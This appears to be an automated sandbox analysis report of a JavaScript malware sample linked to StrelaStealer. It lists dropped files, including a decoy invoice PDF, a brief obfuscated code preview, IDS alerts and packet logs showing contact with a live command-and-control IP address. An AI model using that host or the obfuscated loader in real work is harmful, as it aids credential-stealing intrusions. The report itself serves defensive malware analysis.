SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.363499985009524
Encrypted:	false
SSDEEP:	384:a9KMe/f/2/S/D/6j/3/g/4/5///Uo/R/S/pOZOnfRfXNqNiNRN2NqtkKkykokmki:q+v
MD5:	6826649F00639841C457F273CDEE3167
SHA1:	5540BA57583EF9C29D11510F815021A49E9B6F6B
SHA-256:	563230A2DFED342BA9A45FBCC9E03AC7CCE9330CE1CEA65B44E45C2C3ADE495D
SHA-512:	B65D3A1F4DE43653690AC8BC6377368E36B12A6C4B8157F646AC14FC4C6297AF9AD82A48C778979E77BD488B6B723336421C314F944D6FB46E034E641AA4063F
Malicious:	false
Preview:	SessionID=893015b3-9eca-432c-8b4f-51158dc33711.1736757128636 Timestamp=2025-01-13T03:32:08:636-0500 ThreadID=7848 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=893015b3-9eca-432c-8b4f-51158dc33711.1736757128636 Timestamp=2025-01-13T03:32:08:637-0500 ThreadID=7848 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=893015b3-9eca-432c-8b4f-51158dc33711.1736757128636 Timestamp=2025-01-13T03:32:08:638-0500 ThreadID=7848 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=893015b3-9eca-432c-8b4f-51158dc33711.1736757128636 Timestamp=2025-01-13T03:32:08:638-0500 ThreadID=7848 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=893015b3-9eca-432c-8b4f-51158dc33711.1736757128636 Timestamp=2025-01-13T03:32:08:638-0500 ThreadID=7848 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.38802384561818
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2r/:7
MD5:	24BC4CDC28626F8E7F4D8D37D2104F89
SHA1:	5D5076DB88A6FC4F85DA52958559B8AE023D517B
SHA-256:	579659C55BD8EEE1B85904B297FAA77EFE6CC43C5514C9B0C8FB527447CD6904
SHA-512:	6B48CDE549F1FF3C01AD98D24D252A82AC54D3E764B300D224F940C9780A273BA4247639FBB1DCEAC2F04DD91D654C1771CB4554E39EA3BA3A89C2A9C322820C
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\7005dc7f-0030-4b3e-9df1-259cdce86486.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\7546aefc-a661-49ae-b647-3ed168b7638a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\9de8ca97-9373-42b0-823f-f10e24ae1ad2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/nZwYIGNPzW+y07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:fZwZG5WVxYGZN3mlind9i4ufFXpAXkru
MD5:	90E51573DEF82D887C5E2313507C60BF
SHA1:	46432E164598DF17E8159A23B9851D11F4A93F24
SHA-256:	C7F9CCDA30AF6A387C4F07EE2FE71BCC8A96A105BE4BDB16E90E769C9F6CC55B
SHA-512:	131AEF11723AD0B83BBC17B84DA92F53F3F47F665D7083BA06976EDE10728B09FAE13C2749D404DE5ADCCA5CAA82B4F971CDFE458399A6EF2CA7A03A2D75CFB7
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\eb4d5e3b-15c7-4346-9acd-9571a84865c1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15885), with CRLF line terminators
Entropy (8bit):	4.909247224568932
TrID:
File name:	1329220172182926612.js
File size:	19'367 bytes
MD5:	9e8e98074c127f5775d31c9c6ce73242
SHA1:	e2f7ed1e416ed76e654c0cb0a0e1de2024b3d8ae
SHA256:	b68c366843ac8dfb752b73874cc5d661a939410731b56a0697022a1215156078
SHA512:	571c9053586935a39f4173c97c67fb7cfa32f2ab0ef2c5ad482baef891b3e356433b9d87fce79f696412a117badfffcbaaef31a7580d482e1780472a25bcf4d8
SSDEEP:	384:Dg2h2gkCo15qKMBi+pWPol+CShGpG5RmKRuezdELAhJ1ZJeFu/dhNbg:Dga2gpEVIiVP6+CShGpG5RmKRuezdELD
TLSH:	5092754CB430A8BFDAF5D0BA6E3915E423E9188882F280C5965F3559CB1AD1179F3B73
File Content Preview:	function sujee(){fhtulciv=[1031,3079,5127,4103,2055,3072];var svfasd=this[jtzrskva+wjzent+tpddo+nqyfos+ocfvea+isadj+uqnzptq+lzootjwu](this[fwgzqztlg+vsmcvyo+bfgrkw+tpddo+qltpst+jtzrskva+lzootjwu][fcbovfwev+tpddo+ocfvea+wjzent+lzootjwu+ocfvea+qbswxgmz+ogle

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-13T09:32:04.836334+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-13T09:32:04.836334+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-13T09:32:07.124845+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 09:32:04.032973051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:04.037961006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.038036108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:04.041790962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:04.046571970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.836237907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.836262941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.836273909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.836285114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.836291075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.836296082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.836307049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.836312056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.836317062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.836328983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.836333990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:04.836390972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:04.836421967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:04.841222048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.841253996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.841315985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:04.893634081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.893651009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.893738031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:04.956914902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.956964016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.957000017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.957031965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.957068920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.957083941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:04.957134008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:04.957530022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.957564116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.957582951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:04.957598925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.957799911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:04.960644007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.960678101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.960736036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:04.960777044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.960810900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.960841894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.960849047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:04.960875034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.960906029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.960916996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:04.960938931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.960971117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.960983038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:04.961003065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.961040020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.961045027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:04.961077929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.961106062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:04.961126089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.015486956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.021131039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.021148920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.021245003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.059353113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.059370995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.059381962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.059556961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.078459024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.078533888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.078594923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.078608990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.078620911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.078632116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.078644991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.078779936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.078779936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.079123020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.079138994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.079168081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.079494953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.079508066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.079519987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.079540014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.079540968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.079551935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.079565048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.079569101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.079617977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.080555916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.080569029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.080580950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.080590963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.080596924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.080609083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.080609083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.080652952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.081366062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.081377983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.081412077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.081535101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.081547022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.081557035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.081568956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.081581116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.081610918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.082421064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.082432985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.082444906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.082456112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.082468987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.082499027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.082582951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.082597971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.082633972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.083256006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.083268881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.083306074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.083404064 CET	80	49730	193.143.1.205	192.168.2.4
